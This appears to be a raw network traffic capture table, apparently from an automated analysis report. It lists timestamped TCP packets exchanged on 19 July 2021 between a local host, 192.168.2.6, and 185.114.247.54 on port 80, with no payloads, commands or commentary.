Jul 19, 2021 18:35:32.835979939 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.836442947 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.836461067 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.836472988 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.836569071 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.836644888 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.836678982 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.837713957 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.838191032 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.838291883 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.838813066 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.839046001 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.839067936 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.839154005 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.839209080 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.839860916 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.840034008 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.840138912 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.928989887 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.929027081 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.929044962 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.929059029 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.929075003 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.929193020 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.929322958 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.930418968 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.932791948 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.932813883 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.933029890 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.933085918 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.933248043 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.933340073 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.047441006 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.047765017 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.140403986 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.140429974 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.140439034 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.140453100 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.140465975 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.140484095 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.149465084 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.150490999 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.391563892 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.393122911 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.483925104 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.484078884 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.489892960 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.490145922 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.491952896 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.492100954 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.492335081 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.492465019 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.589739084 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.589786053 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.589817047 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.589843988 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.589880943 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.589920044 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.590075970 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.590154886 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.590584993 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.590790987 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.590935946 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591099977 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.591242075 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591273069 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591363907 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591375113 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.591432095 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.591485977 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591711998 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591845989 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.591941118 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.689872980 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689898968 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689909935 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689923048 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689935923 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689949989 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689963102 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.689980984 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.690155029 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.690217018 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.788561106 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.788592100 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.788769960 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:33.789196968 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.789218903 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.789386988 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.789654016 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.789675951 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.885781050 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.885850906 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.885891914 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:33.885917902 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.176414013 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.178453922 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.273803949 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.273917913 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.274660110 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.274770975 CEST	80	49762	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.274805069 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.274887085 CEST	49762	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.275173903 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.275393963 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.368151903 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368213892 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368273973 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368463039 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.368531942 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368581057 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368602037 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368623972 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368664026 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.368753910 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.368761063 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368798971 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368814945 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.368931055 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.368963957 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.462085009 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462199926 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462222099 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462235928 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462249041 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462305069 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.462380886 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462402105 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.462419033 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462433100 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462502003 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.462599993 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.462843895 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.462934017 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.560400009 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560432911 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560445070 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560456991 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560472965 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560482025 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560492039 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560502052 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560513020 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560523987 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560534000 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560544014 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560554981 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560566902 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.560647011 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.656315088 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.656347036 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.656361103 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.656378031 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.656392097 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.812556982 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.814116955 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.896125078 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.896284103 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.897737980 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.897834063 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.898030996 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.898154020 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.905682087 CEST	80	49763	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.905842066 CEST	49763	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980077028 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980108023 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980123997 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980139017 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980272055 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980317116 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980371952 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980477095 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980534077 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980602026 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980659008 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980673075 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980720997 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.980781078 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.980843067 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.981539965 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.981564999 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.981652021 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:34.981731892 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:34.981786966 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.062149048 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.062185049 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.062200069 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.062328100 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.062371016 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.062464952 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.062514067 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.062576056 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.062657118 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.063425064 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.063539028 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.063570023 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.063615084 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.107040882 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.147239923 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.348552942 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.348738909 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.348802090 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.433609009 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435055017 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435071945 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435086012 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435101032 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435110092 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.435138941 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.441375971 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.441534042 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.643831015 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.645334959 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.728791952 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.728984118 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.734255075 CEST	80	49764	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.734407902 CEST	49764	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.760270119 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.760353088 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.760581970 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.760771990 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.844109058 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844177961 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844244957 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.844269037 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844537973 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844609976 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.844671011 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844738007 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.844877958 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.844939947 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.844990969 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.845065117 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.845406055 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.845475912 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.845566034 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.845635891 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.846038103 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.846123934 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.846519947 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.846590996 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.846709013 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.846765041 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.928004980 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928035021 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928045034 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928057909 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928098917 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928195953 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.928226948 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928253889 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.928277969 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.928580046 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928663015 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.928730965 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.928796053 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.929421902 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.929527044 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.929912090 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.929991961 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:35.930011988 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:35.930071115 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:36.011435986 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.011466980 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.011477947 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.011564970 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:36.011672974 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.011770010 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.011997938 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.012113094 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.012644053 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.012712002 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.013084888 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.013194084 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.013230085 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.013351917 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.013391018 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.094824076 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.094917059 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.094961882 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:36.095002890 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.297688007 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.298804045 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.381824970 CEST	80	49765	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.381920099 CEST	49765	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.395823956 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.396176100 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.436217070 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.436242104 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.436249971 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.436428070 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.532615900 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.532646894 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.532818079 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.532890081 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.532946110 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.532978058 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.533037901 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.533364058 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.533430099 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.533458948 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.533694029 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.533775091 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.533874989 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.534079075 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.534394026 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.534512997 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.534749985 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.535178900 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.535203934 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.535290956 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.535317898 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.535406113 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.629978895 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.630007029 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.630013943 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.630038977 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.630225897 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.630269051 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.630949974 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.630965948 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.631081104 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.631123066 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.631787062 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.631803036 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.631879091 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.631912947 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.631978035 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.631997108 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.632071018 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.634016037 CEST	80	49766	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:37.634103060 CEST	49766	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:37.726413012 CEST	80	49766	185.114.247.54	192.168.2.6
